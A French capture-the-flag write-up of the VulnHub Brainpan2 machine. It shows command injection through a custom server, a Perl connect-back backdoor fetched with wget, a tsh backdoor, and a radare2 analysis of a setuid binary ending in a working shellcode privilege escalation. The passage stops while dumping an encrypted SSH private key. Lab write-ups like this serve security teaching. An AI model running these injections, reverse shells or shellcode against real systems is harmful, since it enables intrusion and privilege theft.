Introduction
Un CTF, c’est comme une boîte de chocolats : on ne sait jamais sur quoi on va tomber.
Avec ce challenge Brainpan2 trouvé sur VulnHub ce fût le cas, car le niveau était bien plus élevé et rien ne pouvait le laisser présager, car aucune indication particulière ne nous était laissé.
Mais en suivant le principe habituel d’augmenter ses privilèges jusqu’à l’obtention du root je suis finalement parvenu à la fin de ce CTF intéressant.
Je n’entrerais pas dans les détails de la mise en place de la VM. Référez-vous aux autres solutions de CTF sur le sujet.
Tour du propriétaire
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
$ nmap -A -T4 192.168.1.24
Starting Nmap 6.40 ( http://nmap.org ) at 2014-03-09 11:46 CET
Nmap scan report for 192.168.1.24
Host is up (0.00023s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
9999/tcp open abyss?
10000/tcp open http SimpleHTTPServer 0.6 (Python 2.7.3)
|_http-methods: No Allow or Public header in OPTIONS response (status code 501)
|_http-title: Hacking Trends
| ndmp-version:
|_ ERROR: Failed to get host information from server
1 service unrecognized despite returning data. If you know the service/version,
please submit the following fingerprint at
http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
SF-Port9999-TCP:V=6.40%I=7%D=3/9%Time=531C4691%P=x86_64-suse-linux-gnu%r(N
SF:ULL,296,"_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\n_\|_\|_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|\x20\x20\x20\x20_\|_\|_\
SF:|\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20
SF:\x20\x20\x20_\|_\|_\|\x20\x20_\|_\|_\|\x20\x20\n_\|\x20\x20\x20\x20_\|\
SF:x20\x20_\|_\|\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\
SF:x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\
SF:x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|\x20\x20\x20\x20_\
SF:|\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\
SF:x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\
SF:x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|_\|_\|\x20\
SF:x20\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20
SF:_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|_\|\x20\x20\x20\x20\x20\
SF:x20_\|_\|_\|\x20\x20_\|\x20\x20\x20\x20_\|\n\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20_\|\n\n\[______________________\x20WELCOME\x20TO\x20BRAINPAN\x2
SF:02\.0________________________\]\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20LOGIN\x20AS\x20GUEST\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\n\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20>>\x20");
MAC Address: 08:00:27:2B:FA:27 (Cadmus Computer Systems)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.9
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 0.23 ms 192.168.1.24
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 165.59 seconds
Tout de suite on remarque deux ports non standard dont l’un est occupé par un SimpleHTTPServer, la ligne de commande Python que j’ai déjà eu l’occasion de mentionner dans mes articles.
Si on se connecte depuis le navigateur on tombe sur une image tirée d’un article en relation avec le hacking. Dans la source est mentionnée en commentaire l’origine de l’article.
Dans le doute, je récupère l’image originale sur l’article cité et je la diff avec l’image du challenge : idem, rien à signaler.
Je pars ensuite à la recherche aux vulnérabilités pour ce petit serveur. Une recherche sur bugs.python.org retourne quelques résultats, mais pour la plupart assez anciens, or le Python installé est à jour.
Quelques tentatives de remonter l’arborescence n’ont rien donné.
Je décide en dernier recours de lancer DirBuster pour tenter de découvrir des dossiers et fichiers non indexés sur le serveur. Le logiciel trouve rapidement un dossier /bin
qui contient un fichier brainpan.exe
.
Mais quand on l’analyse, il ne s’agit que d’une image JPEG. Un coup de hexdump
confirme qu’il n’y a pas d’exécutable PE à l’intérieur.
Du coup je me retranche sur le port 9999 auquel je me connecte via ncat
. On a affaire à un serveur de commandes fait maison qui comporte une poignée de commandes dont certaines ne sont pas implémentées (USERS
, MSG
) ou non-accessibles avec nos privilèges (SYSTEM
).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|
[______________________ WELCOME TO BRAINPAN 2.0________________________]
LOGIN AS GUEST
>> GUEST
ACCESS GRANTED
* * * *
THIS APPLICATION IS WORK IN PROGRESS. GUEST ACCESS IS RESTRICTED.
TYPE "TELL ME MORE" FOR A LIST OF COMMANDS.
* * * *
>> TELL ME MORE
FILES HELP VIEW CREATE
USERS MSG SYSTEM BYE
La commande FILES
retourne une liste de fichier générée de toute évidence via un ls -l
1
2
3
4
5
6
total 40
-rwxr-xr-x 1 root root 18424 Nov 4 15:17 brainpan.exe
-rw-r--r-- 1 root root 1109 Nov 5 09:24 brainpan.txt
-rw-r--r-- 1 root root 683 Nov 4 12:14 notes.txt
-rw-r--r-- 1 anansi anansi 12 Nov 5 09:16 test-1
-rwxrwxrwx 1 anansi anansi 19 Nov 9 09:16 test-2
Malheureusement cette commande ne prend aucun argument, on ne peut donc pas remonter l’arborescence.
La commande HELP
affiche le contenu d’une page de manuel et la commande CREATE
permet de créer un fichier (on saisit d’abord le nom du fichier puis ensuite le contenu sur une ligne).
Le résultat produit un fichier avec les droits de l’utilisateur anansi
, on sait donc qui fait tourner le serveur sur lequel on est connecté.
Un pied dans la porte
La commande VIEW
fonctionne sur le même principe : pas de passage d’argument direct, mais une invite pour saisir le nom du fichier.
On s’aperçoit vite de deux choses : il est possible de remonter l’arborescence en spécifiant par exemple ../../../../../../etc/passwd
et il est possible d’exécuter des commandes en passant par exemple ;ls
.
La commande sous-jacente est un simple cat
. Il est donc préférable de lui passer un argument avant le point virgule sinon les process zombies risquent de s’entasser sur la machine virtuelle (car cat
va attendre des données sur l’entrée standard).
On passera plutôt nos commandes de cette façon :
1
2
3
4
5
6
7
8
>> VIEW
ENTER FILE TO DOWNLOAD: /dev/null;id;uname -a;lsb_release -a
uid=1000(anansi) gid=1000(anansi) groups=1000(anansi),50(staff)
Linux brainpan2 3.2.0-4-686-pae #1 SMP Debian 3.2.51-1 i686 GNU/Linux
Distributor ID: Debian
Description: Debian GNU/Linux 7.2 (wheezy)
Release: 7.2
Codename: wheezy
Il aurait pu être intéressant de tenter de récupérer le binaire en appelant VIEW
sur brainpan.exe
mais le serveur n’envoie qu’une partie de l’exécutable s’arrêtant sans doute sur un octet nul.
Grâce à notre accès particulier, on parvient à déterminer que le programme se trouve dans /opt/brainpan
qui est un dossier appartement à root mais avec le sticky bit (donc tout le monde peut écrire dedans comme dans /tmp
).
On remarque aussi que wget
est installé :) C’est le moment d’obtenir un accès plus confortable.
Sur la machine hôte, on lance le web-serveur Python (python -m SimpleHTTPServer 8000
) puis on récupère une backdoor Perl connect-back en injectant une commande wget
via VIEW
sur la machine invitée.
On ouvre un port via ncat
sur la machine hôte puis on établit la connexion depuis la machine invitée.
1
2
3
4
5
6
7
8
>> VIEW
ENTER FILE TO DOWNLOAD: /dev/null;perl dc.pl 192.168.1.3 9999
Data Cha0s Connect Back Backdoor
[*] Dumping Arguments
[*] Connecting...
[*] Spawning Shell
[*] Datached
L’utilisateur anansi
n’a pas grand-chose dans son dossier personnel : historique vide et pas de dossier .ssh
.
D’ailleurs SSH est configuré pour écouter sur l’interface loopback sur le port 2222, ce qui ne nous facilite pas la tache.
On va plutôt installer un remplaçant de SSH, seulement gcc n’est pas installé sur la machine :(
On va être obligés de compiler sur la machine hôte puis uploader sur la VM… sauf que je suis en 64bits alors que la Debian est une 32 bits. No problemo !
On récupère tsh-0.6 (Tiny Shell), on étudie le Makefile
et à la section Linux on rajoute -m32
pour le binaire serveur :
1
gcc -O -W -Wall -o tshd $(SERVER_OBJ) -lutil -DLINUX -m32
Plus qu’à compiler (make linux) puis on upload/exec (./tshd
). On peut maintenant se connecter sur notre nouveau shell de luxe :)
tsh
remplace très bien SSH car il offre un TTY et permet d’envoyer / récupérer des fichiers à la manière de scp
.
Une fois connecté on s’aperçoit en listant /home
que l’utilisateur reynard
a laissé des permissions à ses données en lecture pour tous.
1
2
3
4
5
6
7
8
9
10
11
12
/home/reynard:
total 44
drwxr-xr-x 3 reynard reynard 4096 Nov 7 09:54 .
drwxr-xr-x 5 root root 4096 Nov 4 10:57 ..
-rw------- 1 reynard reynard 0 Nov 7 09:54 .bash_history
-rw-r--r-- 1 reynard reynard 220 Nov 4 10:57 .bash_logout
-rw-r--r-- 1 reynard reynard 3392 Nov 4 10:57 .bashrc
-rwsr-xr-x 1 root root 8999 Nov 6 17:10 msg_root
-rw-r--r-- 1 reynard reynard 675 Nov 4 10:57 .profile
-rw-r--r-- 1 reynard reynard 154 Nov 5 23:20 readme.txt
-rwxr-xr-x 1 reynard reynard 137 Nov 4 19:59 startweb.sh
drwxr-xr-x 3 reynard reynard 4096 Nov 4 19:32 web
Highway to shell
On relève principalement la présence d’un exécutable setuid root nommé msg_root
.
Le contenu du fichier readme.txt
dans le même dossier est le suivant :
1
2
3
4
5
msg_root is a quick way to send a message to the root user.
Messages are written to /tmp/msg.txt
usage:
msg_root "username" "this message is for root"
Si on exécute le programme de cette façon :
1
$ ./msg_root "plop" "ceci est mon message"
On retrouve dans le fichier /tmp/msg.txt
:
1
plop: ceci est mon message
L’ouverture du fichier semble se faire en mode append et on se dit que l’on a raté une occasion d’ajouter une ligne à /etc/passwd
en faisant préalablement un lien symbolique.
On récupère le fichier via le client tsh sur la machine hôte :
1
2
$ ./tsh 192.168.1.21 get /home/reynard/msg_root .
8999 done.
On ouvre l’exécutable avec le désassembleur et débogueur radare2 :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
-- Trace the register changes when debugging with trace.cmtregs
[0x08048550]> aa
[0x08048550]> pdf@sym.main
| ; DATA XREF from 0x08048567 (fcn.08048550)
/ (fcn) sym.main 71
| 0x0804873b 55 push ebp
| 0x0804873c 89e5 mov ebp, esp
| 0x0804873e 83ec08 sub esp, 0x8
| 0x08048741 837d0802 cmp dword [ebp+0x8], 0x2
| ,=< 0x08048745 7f18 jg 0x804875f
| | 0x08048747 c704244c880. mov dword [esp], str.usage_msg_rootusernamemessage ; 0x0804884c
| | 0x0804874e e87dfdffff call sym.imp.puts
| | sym.imp.puts(unk)
| | 0x08048753 c7042400000. mov dword [esp], 0x0
| | 0x0804875a e891fdffff call sym.imp.exit
| | sym.imp.exit()
| `-> 0x0804875f 8b450c mov eax, [ebp+0xc]
| 0x08048762 83c008 add eax, 0x8
| 0x08048765 8b10 mov edx, [eax]
| 0x08048767 8b450c mov eax, [ebp+0xc]
| 0x0804876a 83c004 add eax, 0x4
| 0x0804876d 8b00 mov eax, [eax]
| 0x0804876f 89542404 mov [esp+0x4], edx
| 0x08048773 890424 mov [esp], eax
| 0x08048776 e826ffffff call sym.get_name
| sym.get_name()
| 0x0804877b b800000000 mov eax, 0x0
| 0x08048780 c9 leave
\ 0x08048781 c3 ret
Le programme vérifie d’abord le nombre d’arguments puis affiche un message et quitte s’il n’a pas eu le bon nombre.
Si tout est ok, il repasse ces arguments à la fonction get_name
du programme (le programme n’est pas strippé, c’est pour cela que le nom de la fonction apparaît).
Cette méthode commence par réserver 32 octets (0x20) pour les variables locales.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
[0x08048550]> pdf@sym.get_name
| ; CODE (CALL) XREF from 0x08048776 (unk)
/ (fcn) sym.get_name 154
| 0x080486a1 55 push ebp
| 0x080486a2 89e5 mov ebp, esp
| 0x080486a4 83ec20 sub esp, 0x20 ; 32 octets réservés pour les variables locales
| 0x080486a7 c745fc3c860. mov dword [ebp-0x4], sym.save_msg ; 0x0804863c
| 0x080486ae 8b4508 mov eax, [ebp+0x8] ; premier parametre passe a la fonction : username
| 0x080486b1 890424 mov [esp], eax
| ; CODE (CALL) XREF from 0x08048500 (fcn.080484f6)
| 0x080486b4 e847feffff call sym.imp.strlen ; strlen(1er arg)
| sym.imp.strlen(unk)
| 0x080486b9 83f811 cmp eax, 0x11 ; compare la taille avec 17
| ,=< 0x080486bc 7714 ja 0x80486d2
| | 0x080486be 8b4508 mov eax, [ebp+0x8]
| | 0x080486c1 89442404 mov [esp+0x4], eax ; source = 1er argument
| | 0x080486c5 8d45ee lea eax, [ebp-0x12] ; adresse = ebp-18
| | 0x080486c8 890424 mov [esp], eax ; destination : buffer sur la stack
| | 0x080486cb e8e0fdffff call sym.imp.strcpy
| | sym.imp.strcpy()
| ; CODE (CALL) XREF from 0x0804873b (unk)
| ,==< 0x080486d0 eb1a jmp loc.080486ec
| |`-> 0x080486d2 c7442408120. mov dword [esp+0x8], 0x12 ; 0x00000012 <- limite = 18 octets
| | 0x080486da 8b4508 mov eax, [ebp+0x8]
| | 0x080486dd 89442404 mov [esp+0x4], eax ; source = 1er argument
| | 0x080486e1 8d45ee lea eax, [ebp-0x12]
| | 0x080486e4 890424 mov [esp], eax ; destination = buffer sur la stack
| | ; CODE (CALL) XREF from 0x08048540 (fcn.08048536)
| | 0x080486e7 e854feffff call sym.imp.strncpy ; copie au plus 18 octets
| | sym.imp.strncpy()
| | ; CODE (CALL) XREF from 0x080486d0 (unk)
|- loc.080486ec 79
| `--> 0x080486ec c70424d0070. mov dword [esp], 0x7d0 ; 0x000007d0 = 2000 octets
| ; CODE (CALL) XREF from 0x080484c0 (fcn.080484b6)
| 0x080486f3 e8c8fdffff call sym.imp.malloc
| sym.imp.malloc()
| 0x080486f8 8945f8 mov [ebp-0x8], eax ; adresse de la zone allouée via malloc()
| 0x080486fb 8b450c mov eax, [ebp+0xc] ; second parametre : msg
| 0x080486fe 890424 mov [esp], eax
| 0x08048701 e8fafdffff call sym.imp.strlen
| sym.imp.strlen()
| 0x08048706 89442408 mov [esp+0x8], eax ; strlen(2nd param)
| 0x0804870a 8b450c mov eax, [ebp+0xc]
| 0x0804870d 89442404 mov [esp+0x4], eax ; 2nd param
| 0x08048711 8b45f8 mov eax, [ebp-0x8]
| 0x08048714 890424 mov [esp], eax ; zone allouée via le malloc()
| 0x08048717 e824feffff call sym.imp.strncpy
| sym.imp.strncpy()
| 0x0804871c 8b45f8 mov eax, [ebp-0x8]
| 0x0804871f 89442404 mov [esp+0x4], eax ; 2nd arg recopie sur le tas
| 0x08048723 8d45ee lea eax, [ebp-0x12]
| 0x08048726 890424 mov [esp], eax ; 1er arg recopie sur la pile
| 0x08048729 8b45fc mov eax, [ebp-0x4]
| 0x0804872c ffd0 call eax ; appelle la methode save_msg qui etait passee en parametre
| 0x00000000()
| 0x0804872e 8b45f8 mov eax, [ebp-0x8]
| 0x08048731 890424 mov [esp], eax
| ; CODE (CALL) XREF from 0x08048490 (fcn.08048486)
| 0x08048734 e857fdffff call sym.imp.free ; libere la zone allouée
| sym.imp.free()
| 0x08048739 c9 leave
\ 0x0804873a c3 ret
En faisant l’inventaire des adresses relatives à ebp
en négatif, on détermine que la fonction a 3 variables locales (respectivement ebp-4
, -8
et -18
en décimal).
À l’instruction 0x080486a7
, l’adresse de la fonction msg_root
est copiée dans ebp-4
.
En ebp-0x12
(= ebp-18
), c’est l’adresse d’un buffer qui est passé. Ce buffer est plus tard utilisé comme destination soit pour strcpy
soit pour strncpy
.
Enfin à ebp-8
on trouvera une adresse mémoire pointant vers une zone allouée sur le tas par malloc()
.
Notez que le buffer utilisé pour str(n)cpy
semble bizarrement aligné, car 18 n’est pas un multiple de 4 (32 bits).
Je ne saurais pas dire si c’est la volonté du compilateur ou le résultat d’une modification du binaire pour le challenge.
Du coup, on a une stack que l’on pourrait représenter de cette façon :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
adresses hautes
| 2nd arg | <- ebp+12
| 1er arg | <- ebp+8
----------
| saved eip | <- ebp+4
| saved ebp | <- ebp
--- ebp ---
| @save_msg | <- ebp-4
| @malloc | <- ebp-8
| ebp-12 | <- esp+8
| ebp-16 | <- esp+4
| ebp-20 | <- debut buffer à ebp-18
--- esp ---
adresses basses
Dans tous les cas, cette fonction get_name
* commence par tester la longueur du nom d’utilisateur.
Si cette longueur est inférieure ou égale à 17, le nom d’utilisateur est copié vers ebp-18
à l’aide de strcpy
.
Si la longueur est supérieure à 17, la copie est réalisée avec strncpy
en spécifiant une taille de 18 octets.
Déjà on remarque un problème, car de ebp-18
à ebp-8
il n’y a que 10 octets (le calcul est pas difficile :p )
Donc si l’on passe un nom d’utilisateur de plus de 10 caractères on écrase déjà ce qui suit.
En revanche comme on ne peut écraser que maximum 18 octets via l’appel à strncpy
, on ne peut pas écraser ni le saved-ebp ni le saved-eip.
L’objectif sera donc d’écraser l’adresse de save_msg
qui est stocké à ebp-4
.
Si on passe un nom d’utilisateur de 17 caractères, le programme invoque strcpy
et écrase 3 octets à ebp-4
, le 4ème étant l’octet nul ajouté par strcpy
.
En revanche si on passe 18 caractères (ou plus), on écrase entièrement le pointeur vers save_msg
car comme indiqué dans la manpage de strncpy
:
The stpncpy() and strncpy() functions copy at most n characters from src into dst. If src is less than n characters long, the remainder of dst is filled with ‘\0’ characters. Otherwise, dst is not terminated.
C’est ce qu’on appelle une erreur “off-by-one” car à un octet près le développeur a introduit un bug, ici en ne prévoyant pas l’espace pour l’octet nul final.
Interlude éducative
Prenons l’exemple suivant pour illustrer ce qui se passe :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/* A compiler avec -fno-stack-protector, voir -D_FORTIFY_SOURCE=0 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
int count = atoi(argv[1]);
char s[4];
char buff[8] ;
int i;
strcpy(s, "XXX");
for (i=0; i<8; i++) buff[i] = 'V' ;
printf("Copie de %d octets.\n", count);
strncpy(buff, argv[2], count);
printf("Copy: %s.\n", buff);
printf("s = %s.\n", s);
return 0;
}
Ici on a deux buffers sur la pile : buff
sur lequel va être recopié des caractères via strncpy
et s
qui est initialisé à “XXX”.
En plus de la chaîne à copier dans buff
, le programme prend aussi le nombre d’octets à copier (count
).
Du moment que count
est supérieur à taille du buffer passé et inférieur à 9 tout va bien :
1
2
3
4
5
6
7
8
9
$ ./test 2 A
Copie de 2 octets.
Copy: A.
s = XXX.
$ ./test 7 AAAA
Copie de 7 octets.
Copy: AAAA.
s = XXX.
Si count
est égal à la taille du buffer passé alors le zéro terminal n’est pas placé :
1
2
3
4
$ ./test 4 AAAA
Copie de 4 octets.
Copy: AAAAVVVVXXX.
s = XXX.
Sans pour autant qu’on écrase tout le reste (strncpy
s’arrête tout de même sinon aucun intérêt) :
1
2
3
4
$ ./test 4 AAAAAA
Copie de 4 octets.
Copy: AAAAVVVVXXX.
s = XXX.
À partir de 12 on a un comportement original, car on écrase s
et comme la chaîne n’est pas terminée elle lit des caractères dans count
(et éventuellement du padding).
1
2
3
4
5
6
$ ./test 12 AAAAAAAAAAAA
Copie de 12 octets.
Copy: AAAAAAAAAAAA
.
s = AAAA
.
G0tr00t ?
Revenons à nos moutons en appliquant tout ça au programme qui nous intéresse. D’abord on teste avec un utilisateur de 17 caractères :
1
2
3
4
5
6
7
sh-4.2$ gdb -q ./msg_root
Reading symbols from msg_root...done.
(gdb) r `python -c "print 'A'*17"` test
Starting program: msg_root `python -c "print 'A'*17"` test
Program received signal SIGSEGV, Segmentation fault.
0x00414141 in ?? ()
On a bien écrasé saved_msg
(mais seulement en partie, car strcpy
a ajouté un octet nul) et le programme a tenté de sauter à cette adresse.
Maintenant testons avec 18 caractères (ou plus).
1
2
3
4
5
(gdb) r `python -c "print 'A'*25"` test
Starting program: msg_root `python -c "print 'A'*25"` test
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
Idem sauf qu’on écrase totalement le pointeur de fonction. On a donc le contrôle potentiel du flux d’exécution du programme.
Ici la difficulté est liée au fait qu’on a un buffer très petit pour placer le shellcode (14 octets sans nop-slep)
Heureusement pour nous, l’ASLR n’est pas activée :
1
2
anansi@brainpan2:~$ cat /proc/sys/kernel/randomize_va_space
0
On va donc pouvoir faire une exploitation “old-school” qui consiste à charger le shellcode en environnement, auquel cas, on aura toute la place souhaitée pour le shellcode avec un nop-sled énorme :)
On écrit un petit programme qui nous donnera l’adresse du shellcode une fois monté dans l’environnement :
1
2
3
4
5
6
7
8
9
#include <stdio.h>
#include <stdlib.h>
int main(void)
{
char *s = getenv("EGG");
printf("EGG => %p\n", s);
return 0;
}
On compile, on upload, on rend exécutable…
On trouve un shellcode sympa qu’on exporte avec un nop-slep de 64000 octets (c’est une piscine olympique de nops !)
1
2
3
anansi@brainpan2:~$ export EGG=`perl -e 'print "\x90"x64000 . "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"'`
anansi@brainpan2:~$ /tmp/get_addr
EGG => 0xbfff0007
Comble de la malchance, un octet nul est présent dans l’adresse… Mais vu la taille du nop-sled on peut mettre 256 de plus, on est toujours dedans :
1
2
3
anansi@brainpan2:~$ /home/reynard/msg_root `perl -e 'print "A"x14 . "\x07\x01\xff\xbf"'` test
$ id
uid=104(root) gid=1000(anansi) groups=106(root),50(staff),1000(anansi)
Bingo !
Un petit tour de manip plus tard afin de relancer tshd
mais avec nos nouveaux privilèges…
1
2
3
4
5
6
7
8
9
10
11
root # cd /root/
root # ls -al
total 28
drwx------ 3 root root 4096 Nov 5 09:56 .
drwxr-xr-x 22 root root 4096 Nov 5 07:09 ..
drwx------ 2 root root 4096 Nov 4 10:08 .aptitude
-rw------- 1 root root 0 Nov 5 09:57 .bash_history
-rw-r--r-- 1 root root 589 Nov 5 09:56 .bashrc
-rw-r--r-- 1 root root 159 Nov 5 09:56 .profile
-rw------- 1 root root 461 Nov 5 09:48 flag.txt
-rw------- 1 root root 245 Nov 5 09:47 whatif.txt
Le flag est là ! Sauf que…
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
root # cat flag.txt
cat: flag.txt: Permission denied
root # cat whatif.txt
WHAT IF I TOLD YOU
___
/ \
| ______\
(, \_/ \_/
| ._. |
\ --- /
/`-.__.'
.---'`-.___|\___
/ `.
YOU ARE NOT ROOT?
root # stat flag.txt
File: `flag.txt'
Size: 461 Blocks: 8 IO Block: 4096 regular file
Device: 801h/2049d Inode: 270724 Links: 1
Access: (0600/-rw-------) Uid: ( 0/ root ) Gid: ( 0/ root )
Access: 2013-11-05 09:48:06.328281548 -0500
Modify: 2013-11-05 09:48:06.332281563 -0500
Change: 2013-11-05 09:48:06.336281759 -0500
Birth: -
root # stat whatif.txt
File: `whatif.txt'
Size: 245 Blocks: 8 IO Block: 4096 regular file
Device: 801h/2049d Inode: 263011 Links: 1
Access: (0600/-rw-------) Uid: ( 104/ root) Gid: ( 106/ root)
Access: 2014-03-11 05:19:27.297220356 -0400
Modify: 2013-11-05 09:47:34.180279151 -0500
Change: 2013-11-05 09:47:34.316281925 -0500
Birth: -
On nous a fait un mauvais tour : il y a deux utilisateurs root.
L’un est le vrai (uid 0) et a un espace en fin de username, l’autre est en fait un utilisateur lambda (uid 104) mais avec le username root
classique.
Avec une recherche de fichiers, on trouve dans /opt/old
un dossier brainpan-1.8
appartenant au faux root :
1
2
3
4
5
root # ls -l /opt/old/brainpan-1.8/
total 28
-rwsr-xr-x 1 puck puck 17734 Nov 4 14:37 brainpan-1.8.exe
-rw-r--r-- 1 puck puck 1227 Nov 5 09:24 brainpan.7
-rw-rw-rw- 1 puck staff 27 Nov 5 09:25 brainpan.cfg
Same old story
On remarque un exécutable setuid pour l’utilisateur puck
.
1
2
3
root # cat /opt/old/brainpan-1.8/brainpan.cfg
port=9333
ipaddr=127.0.0.1
Il faut éditer le fichier de configuration du brainpan
pour changer l’interface en 0.0.0.0. Il faut aussi être dans le même dossier que le binaire pour le lancer sinon on obtient une erreur fopen
.
En se connectant on remarque qu’il s’agit d’une version avec moins de fonctionnalités, mais la faille de VIEW
est aussi présente.
Par conséquent, on récupère la clé privée SSH de puck
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,BD1AC12F9D45BB7CAFB17D7CC7FEF8E5
wLz1KrRZPOJrWimHsajMI/4MH1tjbkInm+2BZBUDrQNXTzy2RGuN8mqSnBkczQrq
PLyLoDXJDEx1aP6vLDVnyQOn4a0jbSIFBBobuxsTy8T926aueaHPWMmY2AabIBob
kAWbnRS1UvYrRIL2s3/oc1+2DOF8ODWAYiHZWLJiElTX7d1OXC9KWogXttMsxzKF
W5duBXnCmbc6QkekksF2m//592smuy9s1Y1B4YqGOSWDKYmwS8HUwOpgOuyeIjNT
j4dDcy2McX3xPdn/XnVwwIp/6Fl8Zrz9uR52WBsjfZQHVKNlyJKJuB02C5A2Lf2h
o2BtupP66gdwQdvn2g11joKEoybg3YezRE6w9pWmBbxWjuM8B0EaxDtZe+x6VvrB
J8lJn3mjItitP1mU84zjjmO02AI/HBYQAurYfnZ8g/KDdmRDouIEpVVVt56k5WHl
cBlhpmoBZ9UJH9D9MZagME8Xsc0g7EBE7Pakckq3nTrW5A0acINjbKV9qUBC/+it
XsSePy2kUjgZQ9eMp0H+6/DP6TkXfn/x5r6Ia1kerk2guCCvvYqFnTpJ8XvtApMk
equ82CJqQw8dryAcMhWWoWbyeB3x6r6JSwoF4LaTd27kzfKMynqiLzpTAjzCAwHm
Zh1ZFwC64iyLCldR5kQxYnDLQ6DqGBM0TYo65KJI1is/cYuvqiYisJie5It1Fffl
V0wU8bkbDyZhpuLtlw2ioaPTrlxK3O7TmxxouwpxaymCwO/WI7jsxdRi26QUCTGk
zCdR1xwlnyN8nfvfRmRjVkrAvDKycon1CjJQiXE2m7jgyeO/4Zb2QBUqwQo4YjgG
30kyx6rBVWbTx/KRr2V8y3i6Wib6EMqT3akGIsEKoEjoEuoN+K8dpbwvDro5pS2/
aHxE8aDB2TfhU90W64Zos5fJHwLCqI9Feq6trcJXOevAB6bCEzXuuZAmqB+Aq74w
859Kvz0GFZ1w3YsC/KotRxrP3kYCnH8w9GJZRmHMRjXFPDntg1pKhHQiH3fPOxVf
UqC+SMsPz9UTv1sPGbNnbNc/tNjOnCb8P9H62NDBYFfwotHIB/hXPgYEmXeTHEAA
Qc9AxaPcA7xH7E4SZG9pSFmI1+bBuMTSgqAXsB5EFaIJNYB3/ZMaayv1XoaIE1YM
lXZ8ScozHTlL7fgl/b3rC/L9Mu1tesFqbsUyp1ifQHBXa8KUWAfeB5GEUsY3YGva
w6iLxobhQMsByceVmXs3HhEynIL4cz4T6o6XHfpOWnLrtkIenSVpOX9GSmMUFi5e
